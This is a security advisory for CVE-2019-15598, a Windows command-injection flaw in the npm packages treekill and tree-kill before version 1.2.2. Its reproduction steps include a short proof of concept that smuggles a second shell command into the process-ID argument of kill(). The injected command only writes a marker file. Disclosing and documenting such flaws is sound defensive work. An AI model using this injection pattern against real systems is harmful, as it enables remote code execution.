critical9.8
CVE-2019-15598
Treekill Enables OS Command Injection
Impact
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command. ### Steps To Reproduce: Create the following PoC file: ```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in terminal: ```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` The HACKED.txt has been created
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | tree-kill | < 1.2.2 | 1.2.2 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Tree-Kill Project | Tree-Kill | before 1.2.2 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://hackerone.com/reports/703415
- https://github.com/advisories/GHSA-j7fq-p9q7-5wfv
- https://nvd.nist.gov/vuln/detail/CVE-2019-15598
- https://github.com/pkrumins/node-tree-kill/issues/30
- https://github.com/pkrumins/node-tree-kill/pull/31
- https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c
- https://hackerone.com/reports/701183
- https://github.com/node-modules/treekill/blob/master/index.js#L32
- https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781